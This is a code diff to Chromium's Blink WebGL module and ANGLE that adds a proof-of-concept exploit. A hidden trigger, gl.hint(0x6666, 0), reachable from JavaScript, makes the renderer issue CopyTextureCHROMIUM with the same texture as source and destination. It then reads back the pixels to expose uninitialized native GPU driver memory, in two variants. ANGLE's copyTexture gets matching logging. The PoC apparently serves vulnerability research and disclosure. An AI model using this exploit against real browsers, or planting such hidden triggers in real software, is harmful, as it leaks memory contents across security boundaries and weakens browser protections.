diff --git a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc index 226757a87e8ba..33dd4087951f8 100644 --- a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc +++ b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc @@ -25,6 +25,7 @@ #include "third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h" +#include #include #include @@ -4696,6 +4697,117 @@ int64_t WebGLRenderingContextBase::getVertexAttribOffset(GLuint index, void WebGLRenderingContextBase::hint(GLenum target, GLenum mode) { if (isContextLost()) return; + // ======================================================================== + // POC INJECTION: simulate compromised renderer issuing CopyTextureCHROMIUM + // with sourceId == destId on the GPU command-buffer. + // Triggered from JS via gl.hint(0x6666, 0). + // ======================================================================== + if (target == 0x6666u) { + fprintf(stderr, "[POC-RENDERER] hint(0x6666) trigger received\n"); + auto* gl = ContextGL(); + GLuint tex = 0; + gl->GenTextures(1, &tex); + gl->BindTexture(GL_TEXTURE_2D, tex); + constexpr int kW = 64, kH = 64; + std::vector upload(static_cast(kW) * kH * 4, 0xAB); + gl->TexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, kW, kH, 0, GL_RGBA, + GL_UNSIGNED_BYTE, upload.data()); + gl->Finish(); + fprintf(stderr, + "[POC-RENDERER] Uploaded 0xAB pattern to tex=%u, issuing " + "CopyTextureCHROMIUM(src=dst=%u, level 0->0)\n", + tex, tex); + // The legacy validating decoder rejected src==dst; the passthrough + // decoder + ANGLE do not. + gl->CopyTextureCHROMIUM(tex, 0, GL_TEXTURE_2D, tex, 0, GL_RGBA, + GL_UNSIGNED_BYTE, GL_FALSE, GL_FALSE, GL_FALSE); + GLenum err = gl->GetError(); + fprintf(stderr, + "[POC-RENDERER] CopyTextureCHROMIUM glGetError()=0x%x " + "(0x0 == accepted -> validation gap confirmed)\n", + err); + GLuint fbo = 0; + gl->GenFramebuffers(1, &fbo); + gl->BindFramebuffer(GL_FRAMEBUFFER, fbo); + gl->FramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, + GL_TEXTURE_2D, tex, 0); + std::vector rb(static_cast(kW) * kH * 4, 0); + gl->ReadPixels(0, 0, kW, kH, GL_RGBA, GL_UNSIGNED_BYTE, rb.data()); + int mismatches = 0; + for (size_t i = 0; i < rb.size(); i++) { + if (rb[i] != 0xAB) mismatches++; + } + fprintf(stderr, + "[POC-RENDERER] Readback: mismatches=%d/%zu " + "first8=%02x %02x %02x %02x %02x %02x %02x %02x\n", + mismatches, rb.size(), rb[0], rb[1], rb[2], rb[3], rb[4], rb[5], + rb[6], rb[7]); + if (mismatches > 0) { + fprintf(stderr, + "[POC-RENDERER] *** VULNERABILITY CONFIRMED: texture level was " + "orphaned by native glTexImage2D(nullptr) and now contains " + "uninitialized native-driver memory readable by the renderer " + "***\n"); + } else { + fprintf(stderr, + "[POC-RENDERER] Data survived (this native driver reused the " + "allocation for same-size glTexImage2D). The validation gap " + "and orphan-before-read still occurred -- see [POC-GPU] log " + "lines from TextureGL::copyTexture.\n"); + } + gl->BindFramebuffer(GL_FRAMEBUFFER, 0); + gl->DeleteFramebuffers(1, &fbo); + gl->DeleteTextures(1, &tex); + + // ---- Variant 2: change dest format (forces native reallocation) ---- + { + GLuint t2 = 0; + gl->GenTextures(1, &t2); + gl->BindTexture(GL_TEXTURE_2D, t2); + gl->TexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, kW, kH, 0, GL_RGBA, + GL_UNSIGNED_BYTE, upload.data()); + gl->Finish(); + fprintf(stderr, + "[POC-RENDERER] Variant2: CopyTextureCHROMIUM(src=dst=%u) " + "with destFormat=GL_RGB (forces native realloc)\n", + t2); + gl->CopyTextureCHROMIUM(t2, 0, GL_TEXTURE_2D, t2, 0, GL_RGB, + GL_UNSIGNED_BYTE, GL_FALSE, GL_FALSE, GL_FALSE); + GLenum e2 = gl->GetError(); + fprintf(stderr, "[POC-RENDERER] Variant2: glGetError()=0x%x\n", e2); + GLuint fbo2 = 0; + gl->GenFramebuffers(1, &fbo2); + gl->BindFramebuffer(GL_FRAMEBUFFER, fbo2); + gl->FramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, + GL_TEXTURE_2D, t2, 0); + GLenum fbstat = gl->CheckFramebufferStatus(GL_FRAMEBUFFER); + std::vector rb2(static_cast(kW) * kH * 4, 0x55); + if (fbstat == GL_FRAMEBUFFER_COMPLETE) { + gl->ReadPixels(0, 0, kW, kH, GL_RGBA, GL_UNSIGNED_BYTE, rb2.data()); + } + int mm2 = 0; + for (size_t i = 0; i < rb2.size(); i++) { + uint8_t expect = ((i & 3) == 3) ? 0xff : 0xab; + if (rb2[i] != expect) mm2++; + } + fprintf(stderr, + "[POC-RENDERER] Variant2: fbstatus=0x%x mismatches=%d/%zu " + "first8=%02x %02x %02x %02x %02x %02x %02x %02x\n", + fbstat, mm2, rb2.size(), rb2[0], rb2[1], rb2[2], rb2[3], rb2[4], + rb2[5], rb2[6], rb2[7]); + if (mm2 > 0) { + fprintf(stderr, + "[POC-RENDERER] *** VULNERABILITY CONFIRMED (variant2): " + "uninitialized native-driver memory observable after " + "self-copy orphan ***\n"); + } + gl->BindFramebuffer(GL_FRAMEBUFFER, 0); + gl->DeleteFramebuffers(1, &fbo2); + gl->DeleteTextures(1, &t2); + } + return; + } + // ======================================================================== bool is_valid = false; switch (target) { case GL_GENERATE_MIPMAP_HINT: diff --git a/third_party/angle/src/libANGLE/renderer/gl/TextureGL.cpp b/third_party/angle/src/libANGLE/renderer/gl/TextureGL.cpp index c91c6acd17..aac5628da1 100644 --- a/third_party/angle/src/libANGLE/renderer/gl/TextureGL.cpp +++ b/third_party/angle/src/libANGLE/renderer/gl/TextureGL.cpp @@ -12,6 +12,8 @@ #include "libANGLE/renderer/gl/TextureGL.h" +#include + #include "common/bitset_utils.h" #include "common/debug.h" #include "common/utilities.h" @@ -1052,10 +1054,32 @@ angle::Result TextureGL::copyTexture(const gl::Context *context, sourceGL->mState.getImageDesc(NonCubeTextureTypeToTarget(source->getType()), sourceLevel); gl::Rectangle sourceArea(0, 0, sourceImageDesc.size.width, sourceImageDesc.size.height); + // === POC INSTRUMENTATION === + const bool poc_self_copy = (sourceGL->getTextureID() == mTextureID) && + (static_cast(level) == sourceLevel); + if (poc_self_copy) + { + fprintf(stderr, + "[POC-GPU] TextureGL::copyTexture SELF-COPY native_tex_id=%u " + "srcLevel=%d dstLevel=%d size=%dx%d\n", + mTextureID, sourceLevel, static_cast(level), + sourceImageDesc.size.width, sourceImageDesc.size.height); + fprintf(stderr, + "[POC-GPU] Step 1/2: reserveTexImageToBeFilled -> native " + "glTexImage2D(...,pixels=nullptr) ORPHANS the source level\n"); + } + ANGLE_TRY(reserveTexImageToBeFilled(context, target, level, internalFormat, sourceImageDesc.size, gl::GetUnsizedFormat(internalFormat), type)); + if (poc_self_copy) + { + fprintf(stderr, + "[POC-GPU] Step 2/2: copySubTextureHelper now READS that " + "orphaned level (frontend still believes it is Initialized)\n"); + } + const gl::InternalFormat &destFormatInfo = gl::GetInternalFormatInfo(internalFormat, type); return copySubTextureHelper(context, target, level, gl::Offset(0, 0, 0), sourceLevel, sourceArea, destFormatInfo, unpackFlipY, unpackPremultiplyAlpha,